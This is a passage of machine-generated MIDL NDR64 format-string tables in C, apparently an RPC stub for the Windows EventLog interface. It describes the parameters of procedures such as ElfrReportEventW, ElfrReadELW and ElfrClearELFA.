&__midl_frag117,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag112_t __midl_frag112 =\n{ \n/* *_RPC_STRING */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag110_t __midl_frag110 =\n{ \n/* ElfrClearELFA */\n    { \n    /* ElfrClearELFA */      /* procedure ElfrClearELFA */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag120,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BackupFileName */      /* parameter BackupFileName */\n        &__midl_frag112,\n        { \n        /* BackupFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag210,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag107_t __midl_frag107 =\n{ \n/* *long */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag210\n};\n\nstatic const __midl_frag104_t __midl_frag104 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag101_t __midl_frag101 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag182\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag116\n    }\n};\n\nstatic const __midl_frag100_t __midl_frag100 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag101\n};\n\nstatic const __midl_frag99_t __midl_frag99 =\n{ \n/* *_RPC_UNICODE_STRING */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag5\n};\n\nstatic const __midl_frag97_t __midl_frag97 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag178\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *_RPC_UNICODE_STRING */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag5\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag99\n    }\n};\n\nstatic const __midl_frag96_t __midl_frag96 =\n{ \n/* struct _NDR64_POINTER_FORMAT */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag97\n};\n\nstatic const __midl_frag94_t __midl_frag94 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x1,    /* FC64_UINT8 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */\n    }\n};\n\nstatic const __midl_frag93_t __midl_frag93 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag94\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag122\n    }\n};\n\nstatic const __midl_frag92_t __midl_frag92 =\n{ \n/* _RPC_SID */\n    { \n    /* _RPC_SID */\n        0x32,    /* FC64_CONF_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _RPC_SID */\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag93\n    }\n};\n\nstatic const __midl_frag91_t __midl_frag91 =\n{ \n/* *_RPC_SID */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag92\n};\n\nstatic const __midl_frag90_t __midl_frag90 =\n{ \n/* *_RPC_UNICODE_STRING */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag5\n};\n\nstatic const __midl_frag89_t __midl_frag89 =\n{ \n/* long */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 61440 /* 0xf000 */\n};\n\nstatic const __midl_frag88_t __midl_frag88 =\n{ \n/* short */\n    0xa4,    /* FC64_RANGE */\n    0x4,    /* FC64_INT16 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 256 /* 0x100 */\n};\n\nstatic const __midl_frag86_t __midl_frag86 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag83_t __midl_frag83 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag82_t __midl_frag82 =\n{ \n/* ElfrReportEventW */\n    { \n    /* ElfrReportEventW */      /* procedure ElfrReportEventW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 120 /* 0x78 */ ,  /* Stack size */\n        (NDR64_UINT32) 148 /* 0x94 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 15 /* 0xf */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag83,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Time */      /* parameter Time */\n        &__midl_frag132,\n        { \n        /* Time */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EventType */      /* parameter EventType */\n        &__midl_frag86,\n        { \n        /* EventType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* EventCategory */      /* parameter EventCategory */\n        &__midl_frag86,\n        { \n        /* EventCategory */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* EventID */      /* parameter EventID */\n        &__midl_frag132,\n        { \n        /* EventID */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NumStrings */      /* parameter NumStrings */\n        &__midl_frag88,\n        { \n        /* NumStrings */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DataSize */      /* parameter DataSize */\n        &__midl_frag89,\n        { \n        /* DataSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* ComputerName */      /* parameter ComputerName */\n        &__midl_frag5,\n        { \n        /* ComputerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* UserSID */      /* parameter UserSID */\n        &__midl_frag91,\n        { \n        /* UserSID */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* Strings */      /* parameter Strings */\n        &__midl_frag96,\n        { \n        /* Strings */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* Data */      /* parameter Data */\n        &__midl_frag100,\n        { \n        /* Data */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag104,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        88 /* 0x58 */,   /* Stack offset */\n    },\n    { \n    /* RecordNumber */      /* parameter RecordNumber */\n        &__midl_frag107,\n        { \n        /* RecordNumber */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        96 /* 0x60 */,   /* Stack offset */\n    },\n    { \n    /* TimeWritten */      /* parameter TimeWritten */\n        &__midl_frag107,\n        { \n        /* TimeWritten */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        104 /* 0x68 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag210,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        112 /* 0x70 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag79_t __midl_frag79 =\n{ \n/* *long */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag122\n};\n\nstatic const __midl_frag75_t __midl_frag75 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 524287 /* 0x7ffff */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag74_t __midl_frag74 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag75\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag125\n    }\n};\n\nstatic const __midl_frag73_t __midl_frag73 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag74\n};\n\nstatic const __midl_frag68_t __midl_frag68 =\n{ \n/* ElfrReadELW */\n    { \n    /* ElfrReadELW */      /* procedure ElfrReadELW */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag83,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ReadFlags */      /* parameter ReadFlags */\n        &__midl_frag132,\n        { \n        /* ReadFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* RecordOffset */      /* parameter RecordOffset */\n        &__midl_frag132,\n        { \n        /* RecordOffset */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NumberOfBytesToRead */      /* parameter NumberOfBytesToRead */\n        &__midl_frag156,\n        { \n        /* NumberOfBytesToRead */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* Buffer */      /* parameter Buffer */\n        &__midl_frag74,\n        { \n        /* Buffer */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NumberOfBytesRead */      /* parameter NumberOfBytesRead */\n        &__midl_frag122,\n        { \n        /* NumberOfBytesRead */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* MinNumberOfBytesNeeded */      /* parameter MinNumberOfBytesNeeded */\n        &__midl_frag122,\n        { \n        /* MinNumberOfBytesNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag122,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag61_t __midl_frag61 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag60_t __midl_frag60 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag61\n};\n\nstatic const __midl_frag59_t __midl_frag59 =\n{ \n/* ElfrOpenBELW */\n    { \n    /* ElfrOpenBELW */      /* procedure ElfrOpenBELW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 46 /* 0x2e */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* UNCServerName */      /* parameter UNCServerName */\n        &__midl_frag60,\n        { \n        /* UNCServerName */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BackupFileName */      /* parameter BackupFileName */\n        &__midl_frag5,\n        { \n        /* BackupFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* MajorVersion */      /* parameter MajorVersion */\n        &__midl_frag122,\n        { \n        /* MajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* MinorVersion */      /* parameter MinorVersion */\n        &__midl_frag122,\n        { \n        /* MinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag150,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag122,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag49_t __midl_frag49 =\n{ \n/* ElfrRegisterEventSourceW */\n    { \n    /* ElfrRegisterEventSourceW */      /* procedure ElfrRegisterEventSourceW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 46 /* 0x2e */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 